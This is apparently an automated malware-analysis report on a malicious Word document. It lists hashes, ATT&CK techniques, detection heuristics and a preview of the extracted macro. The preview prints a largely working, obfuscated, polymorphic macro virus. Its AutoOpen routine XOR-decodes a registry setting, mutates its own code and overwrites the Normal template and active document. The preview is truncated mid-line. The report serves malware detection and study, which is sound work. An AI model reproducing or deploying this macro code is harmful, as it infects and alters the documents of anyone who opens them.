Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff70d9bb04f0276a…

MALICIOUS

Office (OLE)

39.0 KB Created: 2003-07-16 00:04:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: b06bfc2d0e627dd12f6aa00d48b51b4b SHA-1: e57be0b41d54e02c2acb9bdd00798858cee6ef39 SHA-256: ff70d9bb04f0276a294f9277fa54c148d521170c4e1ab23c86035893285f54a4
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a malicious VBA macro. The Autoopen macro is designed to execute automatically when the document is opened. The script attempts to obfuscate its payload and modify the Normal template and the active document, likely to achieve persistence or download a second-stage payload. The specific obfuscation and execution method suggests a downloader or dropper functionality.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4416 bytes
SHA-256: ec40cf408c84d4207d52eda0889228e59eff2cdb091dddcdb2ce81ca90b7beb6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "ThisDocument2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Autoopen()
'
HOSHTFFHOSH = Int(Rnd * False) + (True * -255)
'
HOSHKEYHOSH = HOSHCRPTHOSH("·´ş¦ ĽŞ­­ş±« Ş¬ş­Ł¬�™‹�žŤšŁ˛–śŤ�Ś�™‹Ł°™™–śšŁĆŃĎŁ¨�Ť›Ł¬šśŠŤ–‹†", HOSHTFFHOSH)
'
HOSHLVLHOSH = HOSHCRPTHOSH("łš‰š“", HOSHTFFHOSH)
'
System.PrivateProfileString("", HOSHKEYHOSH, HOSHLVLHOSH) = &H1
'
Set HOSHNORHOSH = NormalTemplate.VBProject.VBComponents(1).CodeModule
'
Set HOSHDOCHOSH = ActiveDocument.VBProject.VBComponents(1).CodeModule
'
Set HOSHTHSHOSH = ThisDocument.VBProject.VBComponents(1).CodeModule
'
Do
'
HOSHSHITHOSH = HOSHSHITHOSH + 2
'
HOSHKDHOSH = HOSHGETHOSH(Int(Rnd * 45) + 5)
'
HOSHTHSHOSH.REPLACELINE HOSHSHITHOSH, HOSHKDHOSH
'
Loop Until HOSHSHITHOSH = 36
'
HOSHCODEHOSH = HOSHPLYHOSH(Int(Rnd * 20) + 5, HOSHTHSHOSH.lines(1, 200), "HOSH")
'
HOSHDELHOSH = HOSHNORHOSH.DELETELINES(1, HOSHNORHOSH.COUNTOFLINES)
'
HOSHADDHOSH = HOSHNORHOSH.ADDFROMSTRING(HOSHCODEHOSH)
'
HOSHDELHOSH = HOSHDOCHOSH.DELETELINES(1, HOSHDOCHOSH.COUNTOFLINES)
'
HOSHADDHOSH = HOSHDOCHOSH.ADDFROMSTRING(HOSHCODEHOSH)
'
End Sub
Private Function HOSHGETHOSH(HOSHNUMHOSH)
HOSHRNDHOSH = Int(Rnd * 2)
Select Case HOSHRNDHOSH
Case 0
    For HOSHINTHOSH = 1 To HOSHNUMHOSH
    Randomize Timer
    HOSHRNDHOSH = Int(Rnd * 4)
    Select Case HOSHRNDHOSH
    Case 0: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 65)
    Case 1: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 97)
    Case 2: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 65) & Int(Rnd * 10)
    Case 3: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 97) & Int(Rnd * 10)
    End Select
    Next
    HOSHRNDHOSH = Int(Rnd * 6)
    Select Case HOSHRNDHOSH
    Case 0: HOSHKHOSH = " XOR "
    Case 1: HOSHKHOSH = " AND "
    Case 2: HOSHKHOSH = " OR "
    Case 3: HOSHKHOSH = " + "
    Case 4: HOSHKHOSH = " * "
    Case 5: HOSHKHOSH = " - "
    End Select
    HOSHGETHOSH = HOSHWRDHOSH & " = " & HOSHWRDHOSH & HOSHKHOSH & HOSHWRDHOSH
Case 1
    HOSHRNDHOSH = Int(Rnd * 2)
    Select Case HOSHRNDHOSH
    Case 0: HOSHKHOSH = "''' "
    Case 1: HOSHKHOSH = "REM "
    End Select
    For HOSHINTHOSH = 1 To Int(Rnd * 40) + 10
        Randomize Timer
        HOSHRNDHOSH = Int(Rnd * 4)
        Select Case HOSHRNDHOSH
        Case 0: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 65)
        Case 1: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 97)
        Case 2: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 65) & Int(Rnd * 10)
        Case 3: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 97) & Int(Rnd * 10)
        End Select
    Next
    HOSHGETHOSH = HOSHKHOSH & HOSHWRDHOSH
End Select
End Function

Private Function HOSHCRPTHOSH(HOSHSTRHOSH, HOSHKEEHOSH)
HOSHVARHOSH = ""
HOSHONEHOSH = Int(Rnd * 0) + 1
For HOSHINTHOSH = HOSHONEHOSH To Len(HOSHSTRHOSH)
HOSHVARHOSH = HOSHVARHOSH & Chr(Asc(Mid(HOSHSTRHOSH, HOSHINTHOSH, HOSHONEHOSH)) Xor HOSHKEEHOSH)
Next
HOSHCRPTHOSH = HOSHVARHOSH
End Function

Private Function HOSHPLYHOSH(HOSHHIGHHOSH, HOSHCODEHOSH, HOSHWORDHOSH)
For HOSHINTHOSH = 1 To HOSHHIGHHOSH
Randomize Timer
HOSHRNDHOSH = Int(Rnd * 4)
Select Case HOSHRNDHOSH
Case 0: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 65)
Case 1: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 97)
Case 2: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 65) & Int(Rnd * 10)
Case 3: HOSHWRDHOSH = HOSHWRDHOSH & Chr(Int(Rnd * 25) + 97) & Int(Rnd * 10)
End Select
Next
Do While InStr(HOSHCODEHOSH, HOSHWORDHOSH) <> 0
HOSHCODEHOSH = Mid(HOSHC
... (truncated)

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